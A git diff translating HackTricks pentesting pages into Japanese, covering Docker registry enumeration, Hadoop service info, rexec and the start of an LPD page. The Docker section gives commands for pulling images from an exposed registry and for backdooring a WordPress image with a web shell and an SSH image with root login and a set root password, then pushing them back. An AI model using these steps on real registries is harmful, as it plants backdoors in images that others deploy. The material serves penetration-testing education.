curlを使用した列挙 -### Enumeration using curl - -Once you **obtained access to the docker registry** here are some commands you can use to enumerate it: - +Dockerレジストリへのアクセスを**取得した後**、以下のコマンドを使用して列挙することができます。 ```bash #List repositories curl -s http://10.10.10.10:5000/v2/_catalog @@ -149,63 +134,59 @@ curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list #Get manifests curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest { - "schemaVersion": 1, - "name": "ubuntu", - "tag": "latest", - "architecture": "amd64", - "fsLayers": [ - { - "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" - }, - { - "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" - }, - { - "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" - } - ], - "history": [ - { - "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" - }, - { - "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" - }, - { - "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" - } - ], - "signatures": [ - { - "header": { - "jwk": { - "crv": "P-256", - "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", - "kty": "EC", - "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", - "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" - }, - "alg": "ES256" - }, - "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", - "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" - } - ] +"schemaVersion": 1, +"name": "ubuntu", +"tag": "latest", +"architecture": "amd64", +"fsLayers": [ +{ +"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" +}, +{ +"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" +}, +{ +"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" +} +], +"history": [ +{ +"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" +}, +{ +"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" +}, +{ +"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" +} +], +"signatures": [ +{ +"header": { +"jwk": { +"crv": "P-256", +"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", +"kty": "EC", +"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", +"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" +}, +"alg": "ES256" +}, +"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", +"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" +} +] } #Download one of the previously listed blobs curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar - -#Inspect the insides of each blob -tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory -``` - +#各ブロブの内部を調査する +tar -xf blob1.tar #これ以降、現在のディレクトリに作成された新しいフォルダとファイルを調査します。 {% hint style="warning" %} -Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob. +注意してください。blobsファイルをダウンロードして解凍すると、現在のディレクトリにファイルとフォルダが表示されます。**すべてのblobsを同じフォルダにダウンロードして解凍すると、以前に解凍されたblobsの値が上書きされます**ので、注意してください。各blobの正確な内容を調査するために、異なるフォルダ内で各blobを解凍することが興味深いかもしれません。 {% endhint %} -### Enumeration using docker - +### Dockerを使用した列挙 ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu @@ -213,32 +194,31 @@ docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT -#ed05bef01522 2 years ago ./run.sh 46.8MB -# 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B -# 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B -# 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B -# 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB +#ed05bef01522 2 years ago ./run.sh 46.8MB +# 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B +# 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B +# 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B +# 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` +### WordPressイメージへのバックドアの設置 -### Backdooring WordPress image - -In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\ -**Create** the **backdoor**: +WordPressイメージを保存しているDocker Registryを見つけた場合、バックドアを設置することができます。\ +**バックドア**を**作成**します: {% code title="shell.php" %} ```bash ``` -{% endcode %} - -Create a **Dockerfile**: - {% code title="Dockerfile" %} + +Dockerfileを作成します: + +{% code %} ```bash FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ @@ -246,34 +226,28 @@ RUN chmod 777 /app/shell.php ``` {% endcode %} -**Create** the new image, **check** it's created, and **push** it: - +新しいイメージを**作成**し、それが作成されたことを**確認**し、**プッシュ**します: ```bash docker build -t 10.10.10.10:5000/wordpress . - #Create +#Create docker images docker push registry:5000/wordpress #Push it ``` +### SSHサーバーイメージへのバックドア設置 -### Backdooring SSH server image - -Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\ -**Download** the image and **run** it: - +Docker RegistryでSSHイメージを見つけ、それにバックドアを設置したいとします。\ +イメージを**ダウンロード**して、**実行**します: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli ``` - -Extract the `sshd_config` file from the SSH image: - +SSHイメージから`sshd_config`ファイルを抽出します: ```bash docker cp 4c989242c714:/etc/ssh/sshd_config . ``` +そして、それを設定するために変更します:`PermitRootLogin yes` -And modify it to set: `PermitRootLogin yes` - -Create a **Dockerfile** like the following one: +次のような**Dockerfile**を作成します: {% tabs %} {% tab title="Dockerfile" %} @@ -285,27 +259,25 @@ RUN echo root:password | chpasswd {% endtab %} {% endtabs %} -**Create** the new image, **check** it's created, and **push** it: - +新しいイメージを**作成**し、それが作成されたことを**確認**し、**プッシュ**します: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . - #Create +#Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md b/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md index 1e18bcfde..e1864ec90 100644 --- a/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md +++ b/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md @@ -1,59 +1,55 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Information taken from the book** [**Network Security Assesment 3rd Edition**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2) +**Network Security Assesment 3rd Edition**という本からの情報 -# **Basic Information** +# **基本情報** -Apache Hadoop is an open source framework supporting the distributed storage and processing of large datasets using computer clusters. Storage is handled by the Hadoop Distributed File System (HDFS) and processing is performed by using MapReduce and other applications (e.g., Apache Storm, Flink, and Spark) via YARN. +Apache Hadoopは、コンピュータクラスタを使用して大規模なデータセットの分散ストレージと処理をサポートするオープンソースのフレームワークです。ストレージはHadoop Distributed File System(HDFS)によって処理され、MapReduceおよびその他のアプリケーション(Apache Storm、Flink、Sparkなど)を使用して処理が行われます。YARNを介して。 ![](<../.gitbook/assets/image (139).png>) -Figure 15-1. Hadoop 2.0 architecture +図15-1. Hadoop 2.0のアーキテクチャ -You can query MapReduce and HDFS services by using the Nmap scripts listed in the following table (including details of the default ports). At the time of writing, Metasploit does not support Hadoop. +次の表に示すNmapスクリプトを使用して、MapReduceおよびHDFSサービスをクエリできます(デフォルトポートの詳細を含む)。執筆時点では、MetasploitはHadoopをサポートしていません。 -| **Script name** | **Port** | **Purpose** | +| **スクリプト名** | **ポート** | **目的** | | ------------------------------ | -------- | ----------------------------------------------------------------- | -| hadoop-jobtracker-info | 50030 | Retrieve information from MapReduce job and task tracker services | +| hadoop-jobtracker-info | 50030 | MapReduceジョブおよびタスクトラッカーサービスから情報を取得します | | hadoop-tasktracker-info | 50060 | | -| hadoop-namenode-info | 50070 | Retrieve info from HDFS name node | -| hadoop-datanode-info | 50075 | Retrieve info from HDFS data node | -| hadoop-secondary-namenode-info | 50090 | Retrieve info from HDFS secondary name node | +| hadoop-namenode-info | 50070 | HDFSネームノードから情報を取得します | +| hadoop-datanode-info | 50075 | HDFSデータノードから情報を取得します | +| hadoop-secondary-namenode-info | 50090 | HDFSセカンダリネームノードから情報を取得します | -Lightweight Python and Go HDFS clients are available online. Hadoop runs without authentication by default. You can configure HDFS, YARN, and MapReduce services to use Kerberos. +軽量なPythonおよびGo HDFSクライアントがオンラインで利用できます。Hadoopはデフォルトで認証なしで実行されます。HDFS、YARN、およびMapReduceサービスをKerberosを使用するように構成できます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/512-pentesting-rexec.md b/network-services-pentesting/512-pentesting-rexec.md index 6028e7e0a..ae9aa1f33 100644 --- a/network-services-pentesting/512-pentesting-rexec.md +++ b/network-services-pentesting/512-pentesting-rexec.md @@ -4,43 +4,41 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Basic Information +## 基本情報 -It is a service that **allows you to execute a command inside a host** if you know valid **credentials** (username and password). - -**Default Port:** 512 +**有効な資格情報**(ユーザー名とパスワード)がわかっている場合、ホスト内で**コマンドを実行**することができるサービスです。 +**デフォルトポート:** 512 ``` PORT STATE SERVICE 512/tcp open exec ``` - ### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md b/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md index 5f401b7f1..818d40ca0 100644 --- a/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md +++ b/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md @@ -1,27 +1,24 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-The Line Printer Daemon (LPD) protocol had originally been introduced in Berkeley Unix in the 80s (later specified by RFC1179).\ -The daemon runs on port 515/tcp and can be accessed using the `lpr`command. To print, the client sends a **control file** defining job/username and a **data file** containing the actual data to be printed. The **input type** of the data file can be set in the control file by choosing among **various file formats**. However it is up to the LPD implementation how to actually handle the print data. A popular LPD implementation for Unix-like operating system is LPRng. LPD can be used as a carrier to deploy **malicious PostScript** or **PJL print jobs**. - -The `lpdprint` and `lpdtest` tools are included in [**PRET**](https://github.com/RUB-NDS/PRET)**.** They are a minimalist way to print data directly to an LPD capable printer or download/upload/delete files and more: +Line Printer Daemon(LPD)プロトコルは、元々80年代のBerkeley Unixで導入されました(後にRFC1179で指定)。\ 